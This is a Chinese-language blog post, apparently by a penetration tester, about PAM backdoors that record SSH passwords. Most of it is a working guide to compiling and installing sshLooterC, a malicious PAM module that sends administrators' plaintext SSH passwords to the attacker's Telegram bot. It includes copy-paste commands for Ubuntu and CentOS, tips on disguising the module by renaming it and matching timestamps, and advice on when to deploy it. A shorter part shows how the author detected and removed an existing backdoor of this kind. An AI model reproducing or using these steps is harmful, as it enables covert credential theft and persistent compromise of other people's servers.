A-A+

PAM后门小研究

2021年02月25日 18:15 汪洋大海 暂无评论 阅读 121 views 次

在渗透某目标的过程中,发现目标服务器已被植入后门,具体表现是在/tmp/.p目录下,存在以日期为后缀的pass.txt文件,内容为记录 SSH 登录 IP、用户名和密码。

PAM后门小研究

PAM后门小研究

当时想简单做个应急响应,无奈没找到后门文件所在,再加上自己是公钥方式登录 SSH,不在乎被记录密码,就放在一边。后来自己遇到了瓶颈,想要获取目标的 SSH 密码进行突破,就去研究了下记录 SSH 密码的工具,也顺手找到了这个/tmp/.p的后门所在,就有了本文。

Windows 有Mimikatz可以从内存中获取登录密码,也可以获取剪贴板复制内容,拿到管理员复制的密码,但是Linux 上就没有类似的工具。经过一番搜寻,找到了@mthbernardes 的 sshLooter 和 sshLooterC, 其中sshLooter 是 Python 版,sshLooterC 是 C 语言版,Python版有各种依赖,不在考虑范围。

Linux 执行敏感程序时会对启动它的用户进行身份认证,通过后才会允许执行,如sudo,passwd,screen 等。在 Linux 中进行身份认证是依赖 PAM 来进行的,PAM 全称 Pluggable Authentication Modules,可动态加载验证模块,如使用谷歌身份验证器对 SSH 登录进行双因子认证。当然也可加载恶意模块,窃取 SSH 密码。C 语言版大致原理就是编译出一个动态链接库 so 文件,并配置到 PAM 配置文件中,在 SSH 登录时,记录密码发送到电报机器人,当然也可以保存到本地或是发送到任意 DNSLOG、钉钉机器人等.

0x01 Create Bot

通过 @bot 申请专属 bot, 并获取到 API Token.

PAM后门小研究

通过 @userinfobot 获取到自己账号的 user_id.

PAM后门小研究

在 looter.c中配置好 API Token 和 user_id.

PAM后门小研究

0x02 Compile

  • Ubuntu


apt install git make gcc libcurl4-openssl-dev libpam0g-dev
git clone https://github.com/mthbernardes/sshLooterC
cd sshLooterC
sed -i 's/BOT TOKEN/自己的API Token/g' looter.c
sed -i 's/1111111/自己的user_id/g' looter.c
make 
cp looter.so /lib/security
chmod 755 /lib/security/looter.so
echo -e 'auth optional looter.so\naccount optional looter.so'>>/etc/pam.d/common-auth
systemctl restart ssh
  • CentOS
yum install -y git make gcc libcurl-devel openssl-devel pam-devel
git clone https://github.com/mthbernardes/sshLooterC
cd sshLooterC
sed -i 's/BOT TOKEN/自己的API Token/g' looter.c
sed -i 's/1111111/自己的user_id/g' looter.c
make 
cp looter.so /lib64/security
chmod 755 /lib64/security/looter.so
echo -e 'auth optional looter.so\naccount optional looter.so'>>/etc/pam.d/sshd
service sshd restart

已在 Ubuntu 18.04.5 和 CentOS release 6.10 (Final) 测试成功,CentOS6 编译出的 so 文件同样适用于 CentOS7.

0x03 Use

安装到目标服务器上后,只要管理员 SSH 登录,就能实时获取到明文密码。

PAM后门小研究

了解了后门原理,很容易就找到了前述记录密码到 /tmp/.p 下的后门文件,对 /lib64/security 按时间排序,定位到了疑似后门文件 pam_login_unix.so.

PAM后门小研究

再到 /etc/pam.d/sshd 中查看,果然加载了该 so 文件。

PAM后门小研究

strings 一下后门就看到了 /tmp/.p 字符串。

PAM后门小研究

后门文件上传到 VirusTotal, 还是免杀后门。

PAM后门小研究

清除后门:

rm -rf /lib64/security/pam_login_unix.so
sed -i '/auth       optional     pam_login_unix.so/d' /etc/pam.d/sshd
rm -rf /tmp/.p
service sshd restart

Tips:

  • 后门适用场景:SSH 服务修改了默认 22 端口或者 SSH 未开放到互联网,因为该后门对密码正确与否不做鉴别,若在 22 端口开放到互联网的服务器使用,将面临茫茫多的 SSH 密码爆破,机器人将发送各种登录密码。
  • 关于后门伪装:looter.so 可以重命名为任意,/lib64/security 下可以修改时间戳与正常文件一致,同时在 /etc/pam.d/sshd 中可以配置到中间行,降低后门被发现的机率。

布施恩德可便相知重

微信扫一扫打赏

支付宝扫一扫打赏

×

给我留言